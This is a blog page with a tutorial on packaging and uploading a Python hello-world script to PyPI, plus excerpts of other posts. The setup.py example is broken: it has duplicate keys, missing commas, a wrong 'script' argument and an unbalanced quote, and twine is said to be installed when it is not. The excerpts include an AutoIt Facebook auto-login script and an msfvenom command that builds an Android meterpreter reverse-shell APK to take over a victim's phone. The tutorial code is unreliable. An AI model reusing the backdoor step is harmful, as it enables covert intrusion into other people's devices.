Skip to main content

[Python]Publish your python project to PyPI

The Python Package Index, also known as PyPI, is a large repository of python packages. Millions of developers all around the world contribute to Python daily by creating python scripts and uploading to PyPI.

In this blog post, I am going to write a simple python script that, on running, will print Hello World on the terminal. Then, going to upload this script to PyPI so that it can be installed on any platform easily using pip or pip3.

Requirements:
1. Github account
2. Basic knowledge of python
3. setuptools - (pip3 install setuptools)
4. wheel - (pip3 install wheel)

By the end of this blog post, you should be able to print hello world using a single command:


Let's get started!

The first thing to do is find a unique name for your project. The name that I will call the Hello World script will be print_hello_world. At the time that I am writing this post, there is not package called print_hello_world on PyPI. Logically, after doing this tutorial, there might be one.

1. Create app folder
Fire up your terminal and run

mkdir print_hello_world 
cd print_hello_world 

2. Create print_hello_world.py
Create the python script. In this case I will name it print_hello_world.py. You can call it whatever you want depending on your project name.

touch print_hello_world.py

3. Write your program
Write the following to the script print_hello_world.py

print('Hello World!') 


This is why python is so great; writing a program that prints 1 line requires only 1 line of code, unlike other programming languages.


4. Getting ready to be published


Once your project is ready to be published, you can start by creating an account on PyPI
(https://pypi.org/account/register/). Remember your username and password since you will be using those everytime you publish a python package. the steps below will help you create configuration files for the project.

5. Create setup.py
Now that your account has been created, we will create some of the configuration files that your project requires in order to be uploaded to PyPI properly. The first file you have to create is setup.py.
touch setup.py 

setup.py is the standard for distributing python package. This is where you will specify the name, versioning scheme, the requirements for your script to work and other important configurations. The setup.py script for this project will be as follows:

import setuptools

  with open("README.md", "r") as f:
    long_description = f.read()

  setuptools.setup(
    name = 'print-hello-world',
    version='0.0.1',
    script=['print-hello-world'],
    author='YOUR FULL NAME'
    author='YOUR EMAIL ADDRESS'
    description=long_description
    url='GITHUB REPO FOR THIS PROJECT'
    classifiers=[Programming Language :: Python :: 3","License :: Freely Distributable",]
)

For the versioning scheme, you can check out the various schemes that exists out there. One of the most popular is Semantic Versioning(SemVer), which follows MAJOR.MINOR.PATCH style The SemVer specification is usually used for big projects. You can check out the official documentation here. This hello world project follows a simple versioning style(0.0.x).


6. Create LICENSE
Another important file needed is the LICENSE. You can google for the types of licenses you can create on Github. The most popular one is MIT License, which briefly says 'do whatever you want to do with the project.' You can choose what type of license you want to add to your project here. For this project, we will choose MIT License. Below is a template of the MIT License:

Copyright (c) [year] [fullname]

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.


7. Create README.md
Although not required, it is a good practice to make readme file in the project. This will serve as description for the project in PyPI repo as well. In step 5, this is stored in long_description when writting setup.py. You might want to create this readme.md file at the very beginning.

Your directory should be similar to the screenshot at this point:
[Screenshot of directory..]

8. Create dist folder before publishing
To publish your project you simply have to run the below 2 commands:

python3 setup.py bdist_wheel

This will create a dist folder, which will contain your package.whl that is going to be uploaded. This extension stands for Wheel format, which is the standard built-package format for python distribution. It is a compressed file using all the files for the python install and metadata required to run the package properly.

At this point, your directory should look like this:












9. Publish!
To upload your project, you can use twine. Installation for twine is the requirements section above. Run the following command to upload the dist folder to PyPI

python3 -m twine upload dist/*

If you can see a positive feedback from the terminal, and the URL to your package shows up, you're good to go. Sometimes you might run into versioning and naming problems. Make sure to increment the version every time and that the name is unique across PyPI.

10. Install your package
To install the package simply run

pip3 install print-hello-world

and run it using

print-hello-world

That's it!

Comments

Popular posts from this blog

Learn how to make an auto login bot with Autoit

Start by creating a new directory and make an autoit script. Edit the script and include IE.au3:
#include 
Suppose we're writing a script which will allow a anyone to sign in his facebook on a scheduled time automatically.
It's simple, don't panic!
You need to call a function with any name you want. Let's take loginfb()!
call ("loginfb") So, we only have to write the function loginfb now!
Func loginfb()
Global $oIE = _IECreate ("https://www.facebook.com/")

Local $username = _IEGetObjByName ($oIE, "email")
Local $password = _IEgetObjByName ($oIE, "pass")
Local $button = _IEGetObjById ($oIE, "loginbutton")

_IEFormElementSetValue ($username, "") // your email here!
_IEFormElementSetValue ($password, "") //your fb password here!
Send("{Enter}")
EndFunc
$username and $password are variables. "email" and "pass" are the names given to the textarea where you are to write your emai…

[Android + msf]How to use Metasploit Framework on an Android Device?

Metasploit Framework(msf)
Requirements:
Linux-based OSYou'll need to have msfconsole installed on your machine
You'll need to have msfvenom correctly installed on the machine. This will be used to generate the backdoor. Install apktool as well.Note: This tutorial is meant for educational purposes only. Please don't misguide the purpose of this tutorial, you'll be responsible for any act of Hacking or theft.
Steps1) First of all open up your terminal. (Ctrl + Alt + T)
$ sudo apt-get update Update your repositories before starting.

2) Once updated, we can start. Simply follow the steps below to get started:
$ sudo msfvenom -p android/meterpreter/reverse_tcp LHOST='xxx.xxx.x.x' LPORT='xxxx' R > testfile.apk Replace "testfile" with any name you want. This will be the Main Activity, which when tapped on your android device will activate meterpreter on your terminal and let you gain full access to the victims android phone.

You can check out the archit…